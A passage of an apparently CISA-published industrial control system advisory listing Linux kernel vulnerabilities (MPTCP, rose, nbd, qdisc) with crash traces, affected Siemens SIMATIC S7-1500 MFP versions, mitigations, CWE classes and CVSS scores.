`NET_XMIT_CN` =&gt; hfsc_enqueue() don't increase qlen of Qdisc_A. The whole process lead to a situation where Qdisc_A-&gt;q.qlen == 0 and Qdisc_B-&gt;q.qlen == 1. Replace 'hfsc' with other type (for example: 'drr') still lead to the same problem. This violate the design where parent's qlen should equal to the sum of its childrens'qlen. Bug impact: This issue can be used for user-&gt;kernel privilege escalation when it is reachable.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21702">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21705</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: handle fastopen disconnect correctly Syzbot was able to trigger a data stream corruption: WARNING: CPU: 0 PID: 9846 at net/mptcp/protocol.c:1024 __mptcp_clean_una+0xddb/0xff0 net/mptcp/protocol.c:1024 Modules linked in: CPU: 0 UID: 0 PID: 9846 Comm: syz-executor351 Not tainted 6.13.0-rc2-syzkaller-00059-g00a5acdbf398 #0 Hardware name: Google Compute Engine/Google Compute Engine, BIOS Google 11/25/2024 RIP: 0010:__mptcp_clean_una+0xddb/0xff0 net/mptcp/protocol.c:1024 Code: fa ff ff 48 8b 4c 24 18 80 e1 07 fe c1 38 c1 0f 8c 8e fa ff ff 48 8b 7c 24 18 e8 e0 db 54 f6 e9 7f fa ff ff e8 e6 80 ee f5 90 &lt;0f&gt; 0b 90 4c 8b 6c 24 40 4d 89 f4 e9 04 f5 ff ff 44 89 f1 80 e1 07 RSP: 0018:ffffc9000c0cf400 EFLAGS: 00010293 RAX: ffffffff8bb0dd5a RBX: ffff888033f5d230 RCX: ffff888059ce8000 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffffc9000c0cf518 R08: ffffffff8bb0d1dd R09: 1ffff110170c8928 R10: dffffc0000000000 R11: ffffed10170c8929 R12: 0000000000000000 R13: ffff888033f5d220 R14: dffffc0000000000 R15: ffff8880592b8000 FS: 00007f6e866496c0(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f6e86f491a0 CR3: 00000000310e6000 CR4: 00000000003526f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: __mptcp_clean_una_wakeup+0x7f/0x2d0 net/mptcp/protocol.c:1074 mptcp_release_cb+0x7cb/0xb30 net/mptcp/protocol.c:3493 release_sock+0x1aa/0x1f0 net/core/sock.c:3640 inet_wait_for_connect net/ipv4/af_inet.c:609 [inline] __inet_stream_connect+0x8bd/0xf30 net/ipv4/af_inet.c:703 mptcp_sendmsg_fastopen+0x2a2/0x530 net/mptcp/protocol.c:1755 mptcp_sendmsg+0x1884/0x1b10 net/mptcp/protocol.c:1830 sock_sendmsg_nosec net/socket.c:711 [inline] __sock_sendmsg+0x1a6/0x270 net/socket.c:726 ____sys_sendmsg+0x52a/0x7e0 net/socket.c:2583 ___sys_sendmsg net/socket.c:2637 [inline] __sys_sendmsg+0x269/0x350 net/socket.c:2669 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f6e86ebfe69 Code: 28 00 00 00 75 05 48 83 c4 28 c3 e8 b1 1f 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &lt;48&gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f6e86649168 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f6e86f491b8 RCX: 00007f6e86ebfe69 RDX: 0000000030004001 RSI: 0000000020000080 RDI: 0000000000000003 RBP: 00007f6e86f491b0 R08: 00007f6e866496c0 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 00007f6e86f491bc R13: 000000000000006e R14: 00007ffe445d9420 R15: 00007ffe445d9508 The root cause is the bad handling of disconnect() generated internally by the MPTCP protocol in case of connect FASTOPEN errors. Address the issue increasing the socket disconnect counter even on such a case, to allow other threads waiting on the same socket lock to properly error out.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21705">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21706</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: pm: only set fullmesh for subflow endp With the in-kernel path-manager, it is possible to change the 'fullmesh' flag. The code in mptcp_pm_nl_fullmesh() expects to change it only on 'subflow' endpoints, to recreate more or less subflows using the linked address. Unfortunately, the set_flags() hook was a bit more permissive, and allowed 'implicit' endpoints to get the 'fullmesh' flag while it is not allowed before. That's what syzbot found, triggering the following warning: WARNING: CPU: 0 PID: 6499 at net/mptcp/pm_netlink.c:1496 __mark_subflow_endp_available net/mptcp/pm_netlink.c:1496 [inline] WARNING: CPU: 0 PID: 6499 at net/mptcp/pm_netlink.c:1496 mptcp_pm_nl_fullmesh net/mptcp/pm_netlink.c:1980 [inline] WARNING: CPU: 0 PID: 6499 at net/mptcp/pm_netlink.c:1496 mptcp_nl_set_flags net/mptcp/pm_netlink.c:2003 [inline] WARNING: CPU: 0 PID: 6499 at net/mptcp/pm_netlink.c:1496 mptcp_pm_nl_set_flags+0x974/0xdc0 net/mptcp/pm_netlink.c:2064 Modules linked in: CPU: 0 UID: 0 PID: 6499 Comm: syz.1.413 Not tainted 6.13.0-rc5-syzkaller-00172-gd1bf27c4e176 #0 Hardware name: Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024 RIP: 0010:__mark_subflow_endp_available net/mptcp/pm_netlink.c:1496 [inline] RIP: 0010:mptcp_pm_nl_fullmesh net/mptcp/pm_netlink.c:1980 [inline] RIP: 0010:mptcp_nl_set_flags net/mptcp/pm_netlink.c:2003 [inline] RIP: 0010:mptcp_pm_nl_set_flags+0x974/0xdc0 net/mptcp/pm_netlink.c:2064 Code: 01 00 00 49 89 c5 e8 fb 45 e8 f5 e9 b8 fc ff ff e8 f1 45 e8 f5 4c 89 f7 be 03 00 00 00 e8 44 1d 0b f9 eb a0 e8 dd 45 e8 f5 90 &lt;0f&gt; 0b 90 e9 17 ff ff ff 89 d9 80 e1 07 38 c1 0f 8c c9 fc ff ff 48 RSP: 0018:ffffc9000d307240 EFLAGS: 00010293 RAX: ffffffff8bb72e03 RBX: 0000000000000000 RCX: ffff88807da88000 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffffc9000d307430 R08: ffffffff8bb72cf0 R09: 1ffff1100b842a5e R10: dffffc0000000000 R11: ffffed100b842a5f R12: ffff88801e2e5ac0 R13: ffff88805c214800 R14: ffff88805c2152e8 R15: 1ffff1100b842a5d FS: 00005555619f6500(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000020002840 CR3: 00000000247e6000 CR4: 00000000003526f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: genl_family_rcv_msg_doit net/netlink/genetlink.c:1115 [inline] genl_family_rcv_msg net/netlink/genetlink.c:1195 [inline] genl_rcv_msg+0xb14/0xec0 net/netlink/genetlink.c:1210 netlink_rcv_skb+0x1e3/0x430 net/netlink/af_netlink.c:2542 genl_rcv+0x28/0x40 net/netlink/genetlink.c:1219 netlink_unicast_kernel net/netlink/af_netlink.c:1321 [inline] netlink_unicast+0x7f6/0x990 net/netlink/af_netlink.c:1347 netlink_sendmsg+0x8e4/0xcb0 net/netlink/af_netlink.c:1891 sock_sendmsg_nosec net/socket.c:711 [inline] __sock_sendmsg+0x221/0x270 net/socket.c:726 ____sys_sendmsg+0x52a/0x7e0 net/socket.c:2583 ___sys_sendmsg net/socket.c:2637 [inline] __sys_sendmsg+0x269/0x350 net/socket.c:2669 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f5fe8785d29 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &lt;48&gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007fff571f5558 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f5fe8975fa0 RCX: 00007f5fe8785d29 RDX: 0000000000000000 RSI: 0000000020000480 RDI: 0000000000000007 RBP: 00007f5fe8801b08 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 00007f5fe8975fa0 R14: 00007f5fe8975fa0 R15: 000000 ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21706">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21707</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: consolidate suboption status MPTCP maintains the received sub-options status is the bitmask carrying the received suboptions and in several bitfields carrying per suboption additional info. Zeroing the bitmask before parsing is not enough to ensure a consistent status, and the MPTCP code has to additionally clear some bitfiled depending on the actually parsed suboption. The above schema is fragile, and syzbot managed to trigger a path where a relevant bitfield is not cleared/initialized: BUG: KMSAN: uninit-value in __mptcp_expand_seq net/mptcp/options.c:1030 [inline] BUG: KMSAN: uninit-value in mptcp_expand_seq net/mptcp/protocol.h:864 [inline] BUG: KMSAN: uninit-value in ack_update_msk net/mptcp/options.c:1060 [inline] BUG: KMSAN: uninit-value in mptcp_incoming_options+0x2036/0x3d30 net/mptcp/options.c:1209 __mptcp_expand_seq net/mptcp/options.c:1030 [inline] mptcp_expand_seq net/mptcp/protocol.h:864 [inline] ack_update_msk net/mptcp/options.c:1060 [inline] mptcp_incoming_options+0x2036/0x3d30 net/mptcp/options.c:1209 tcp_data_queue+0xb4/0x7be0 net/ipv4/tcp_input.c:5233 tcp_rcv_established+0x1061/0x2510 net/ipv4/tcp_input.c:6264 tcp_v4_do_rcv+0x7f3/0x11a0 net/ipv4/tcp_ipv4.c:1916 tcp_v4_rcv+0x51df/0x5750 net/ipv4/tcp_ipv4.c:2351 ip_protocol_deliver_rcu+0x2a3/0x13d0 net/ipv4/ip_input.c:205 ip_local_deliver_finish+0x336/0x500 net/ipv4/ip_input.c:233 NF_HOOK include/linux/netfilter.h:314 [inline] ip_local_deliver+0x21f/0x490 net/ipv4/ip_input.c:254 dst_input include/net/dst.h:460 [inline] ip_rcv_finish+0x4a2/0x520 net/ipv4/ip_input.c:447 NF_HOOK include/linux/netfilter.h:314 [inline] ip_rcv+0xcd/0x380 net/ipv4/ip_input.c:567 __netif_receive_skb_one_core net/core/dev.c:5704 [inline] __netif_receive_skb+0x319/0xa00 net/core/dev.c:5817 process_backlog+0x4ad/0xa50 net/core/dev.c:6149 __napi_poll+0xe7/0x980 net/core/dev.c:6902 napi_poll net/core/dev.c:6971 [inline] net_rx_action+0xa5a/0x19b0 net/core/dev.c:7093 handle_softirqs+0x1a0/0x7c0 kernel/softirq.c:561 __do_softirq+0x14/0x1a kernel/softirq.c:595 do_softirq+0x9a/0x100 kernel/softirq.c:462 __local_bh_enable_ip+0x9f/0xb0 kernel/softirq.c:389 local_bh_enable include/linux/bottom_half.h:33 [inline] rcu_read_unlock_bh include/linux/rcupdate.h:919 [inline] __dev_queue_xmit+0x2758/0x57d0 net/core/dev.c:4493 dev_queue_xmit include/linux/netdevice.h:3168 [inline] neigh_hh_output include/net/neighbour.h:523 [inline] neigh_output include/net/neighbour.h:537 [inline] ip_finish_output2+0x187c/0x1b70 net/ipv4/ip_output.c:236 __ip_finish_output+0x287/0x810 ip_finish_output+0x4b/0x600 net/ipv4/ip_output.c:324 NF_HOOK_COND include/linux/netfilter.h:303 [inline] ip_output+0x15f/0x3f0 net/ipv4/ip_output.c:434 dst_output include/net/dst.h:450 [inline] ip_local_out net/ipv4/ip_output.c:130 [inline] __ip_queue_xmit+0x1f2a/0x20d0 net/ipv4/ip_output.c:536 ip_queue_xmit+0x60/0x80 net/ipv4/ip_output.c:550 __tcp_transmit_skb+0x3cea/0x4900 net/ipv4/tcp_output.c:1468 tcp_transmit_skb net/ipv4/tcp_output.c:1486 [inline] tcp_write_xmit+0x3b90/0x9070 net/ipv4/tcp_output.c:2829 __tcp_push_pending_frames+0xc4/0x380 net/ipv4/tcp_output.c:3012 tcp_send_fin+0x9f6/0xf50 net/ipv4/tcp_output.c:3618 __tcp_close+0x140c/0x1550 net/ipv4/tcp.c:3130 __mptcp_close_ssk+0x74e/0x16f0 net/mptcp/protocol.c:2496 mptcp_close_ssk+0x26b/0x2c0 net/mptcp/protocol.c:2550 mptcp_pm_nl_rm_addr_or_subflow+0x635/0xd10 net/mptcp/pm_netlink.c:889 mptcp_pm_nl_rm_subflow_received net/mptcp/pm_netlink.c:924 [inline] mptcp_pm_flush_addrs_and_subflows net/mptcp/pm_netlink.c:1688 [inline] mptcp_nl_flush_addrs_list net/mptcp/pm_netlink.c:1709 [inline] mptcp_pm_nl_flush_addrs_doit+0xe10/0x1630 net/mptcp/pm_netlink.c:1750 genl_family_rcv_msg_doit net/netlink/genetlink.c:1115 [inline] ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21707">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/908.html">CWE-908 Use of Uninitialized Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21718</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: rose: fix timer races against user threads Rose timers only acquire the socket spinlock, without checking if the socket is owned by one user thread. Add a check and rearm the timers if needed. BUG: KASAN: slab-use-after-free in rose_timer_expiry+0x31d/0x360 net/rose/rose_timer.c:174 Read of size 2 at addr ffff88802f09b82a by task swapper/0/0 CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted 6.13.0-rc5-syzkaller-00172-gd1bf27c4e176 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024 Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x241/0x360 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0x169/0x550 mm/kasan/report.c:489 kasan_report+0x143/0x180 mm/kasan/report.c:602 rose_timer_expiry+0x31d/0x360 net/rose/rose_timer.c:174 call_timer_fn+0x187/0x650 kernel/time/timer.c:1793 expire_timers kernel/time/timer.c:1844 [inline] __run_timers kernel/time/timer.c:2418 [inline] __run_timer_base+0x66a/0x8e0 kernel/time/timer.c:2430 run_timer_base kernel/time/timer.c:2439 [inline] run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2449 handle_softirqs+0x2d4/0x9b0 kernel/softirq.c:561 __do_softirq kernel/softirq.c:595 [inline] invoke_softirq kernel/softirq.c:435 [inline] __irq_exit_rcu+0xf7/0x220 kernel/softirq.c:662 irq_exit_rcu+0x9/0x30 kernel/softirq.c:678 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1049 [inline] sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1049</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21718">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21731</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nbd: don't allow reconnect after disconnect Following process can cause nbd_config UAF: 1) grab nbd_config temporarily; 2) nbd_genl_disconnect() flush all recv_work() and release the initial reference: nbd_genl_disconnect nbd_disconnect_and_put nbd_disconnect flush_workqueue(nbd-&gt;recv_workq) if (test_and_clear_bit(NBD_RT_HAS_CONFIG_REF, ...)) nbd_config_put -&gt; due to step 1), reference is still not zero 3) nbd_genl_reconfigure() queue recv_work() again; nbd_genl_reconfigure config = nbd_get_config_unlocked(nbd) if (!config) -&gt; succeed if (!test_bit(NBD_RT_BOUND, ...)) -&gt; succeed nbd_reconnect_socket queue_work(nbd-&gt;recv_workq, &amp;args-&gt;work) 4) step 1) release the reference; 5) Finially, recv_work() will trigger UAF: recv_work nbd_config_put(nbd) -&gt; nbd_config is freed atomic_dec(&amp;config-&gt;recv_threads) -&gt; UAF Fix the problem by clearing NBD_RT_BOUND in nbd_genl_disconnect(), so that nbd_genl_reconfigure() will fail.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21731">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
